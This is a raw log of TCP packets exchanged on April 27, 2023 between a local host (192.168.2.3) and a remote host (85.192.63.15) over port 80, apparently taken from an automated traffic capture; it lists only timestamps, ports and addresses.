Apr 27, 2023 07:41:58.704474926 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.707251072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.707303047 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.707349062 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.707361937 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.707411051 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.707427025 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.707488060 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.707488060 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.718473911 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.718560934 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.718596935 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.718614101 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.718658924 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.718662977 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.718686104 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.718713045 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.718729973 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.718760014 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.718782902 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.718807936 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.718835115 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.718857050 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.718878031 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.718903065 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.718925953 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.718950033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.718970060 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.718997002 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.719018936 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.719046116 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.719068050 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.719091892 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.719114065 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.719161034 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.720398903 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.720447063 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.720485926 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.720494986 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.720525026 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.720542908 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.720567942 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.720590115 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.720614910 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.720637083 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.720664978 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.720676899 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.720700979 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.720740080 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.730329037 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.730405092 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.730433941 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.730454922 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.730473042 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.730494976 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.730525970 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.730542898 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.730560064 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.730581999 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.730612040 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.730631113 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.730662107 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.730689049 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.730696917 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.730743885 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.730767965 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.730777025 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.730809927 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.730820894 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.730861902 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.730868101 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.730900049 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.730906963 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.730981112 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.730987072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.731020927 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.731024027 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.731066942 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.731072903 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.731101990 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.731112003 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.731131077 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.731158018 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.731178999 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.731203079 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.731226921 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.731249094 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.731270075 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.731287956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.731319904 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.731333971 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.731363058 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.731379032 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.731416941 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.731442928 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.731455088 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.731503010 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.731519938 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.731539011 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.731571913 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.731616020 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.731820107 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.731865883 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.731894016 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.731909990 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.731931925 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.731971025 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.733236074 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.733283043 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.733319044 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.733344078 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.733366966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.733372927 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.733405113 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.733428955 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.733428955 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.733452082 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.733475924 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.733486891 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.733516932 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.733534098 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.733568907 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.733580112 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.733608961 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.733616114 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.733658075 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.733661890 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.733720064 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.733726978 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.733766079 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.733774900 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.733788013 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.733814001 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.733839035 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.733866930 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.733995914 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.734042883 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.734069109 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.734088898 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.734095097 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.734124899 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.734148979 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.734175920 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.743305922 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.743449926 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.743467093 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.743488073 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.743525982 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.743534088 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.743546963 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.743570089 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.743602037 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.743613958 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.743622065 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.743659019 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.743674994 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.743705034 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.743720055 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.743751049 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.743776083 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.743796110 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.743808985 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.743832111 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.743861914 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.743876934 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.743880987 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.743915081 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.743940115 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.743961096 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.743985891 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.743995905 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.744024038 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.744043112 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.744086981 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.744097948 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.744097948 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.744133949 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.744163990 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.744180918 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.744199038 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.744218111 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.744254112 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.744329929 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.744334936 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.744369030 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.744394064 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.744421005 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.745480061 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.745529890 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.745564938 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.745575905 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.745592117 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.745613098 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.745639086 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.745671988 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.747174025 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.747209072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.747255087 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.747262001 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.747292995 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.747303009 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.747311115 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.747339010 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.747364998 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.747411966 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.752546072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.752590895 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.752624035 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.752640009 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.752667904 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.752680063 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.752680063 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.752701044 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.752728939 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.752748966 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.756584883 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.756633043 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.756680012 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.756709099 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.756709099 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.756716967 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.756747007 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.756795883 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.758058071 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.758106947 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.758137941 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.758172035 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.758223057 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.758256912 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.763268948 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.763309002 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.763353109 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.763365030 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.763417006 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.763417006 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.763417006 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.763453960 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.763473988 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.763503075 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.765037060 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.765073061 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.765113115 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.765117884 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.765137911 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.765163898 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.765181065 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.765207052 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.765228033 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.765263081 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.768337965 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.768374920 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.768444061 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.768450975 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.768479109 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.768486977 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.768502951 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.768532038 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.768553019 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.768567085 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.768589020 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.768619061 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.770098925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.770147085 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.770181894 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.770200968 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.770200968 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.770226002 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.770237923 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.770261049 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.770286083 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.770311117 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.773495913 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.773544073 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.773590088 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.773603916 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.773603916 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.773624897 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.773643017 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.773684025 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.775290966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.775341034 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.775357008 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.775402069 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.775443077 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.775482893 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.775490046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.775535107 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.776814938 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.776861906 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.776880026 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.776896000 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.776911974 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.776942015 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.776943922 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.776977062 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.776989937 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.777024984 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.796595097 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.796646118 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.796705961 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.796750069 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.796786070 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.796787977 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.796787977 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.796818972 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.796832085 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.798240900 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.798279047 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.798317909 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.798324108 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.798343897 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.798367977 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.798371077 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.798403978 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.798410892 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.798453093 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.801983118 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.802031994 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.802057981 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.802076101 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.802078009 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.802110910 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.802120924 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.802155972 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.803529978 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.803608894 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.803610086 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.803658009 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.803663015 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.803704023 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.803706884 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.803749084 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.803750038 CEST	80	49697	85.192.63.15	192.168.2.3
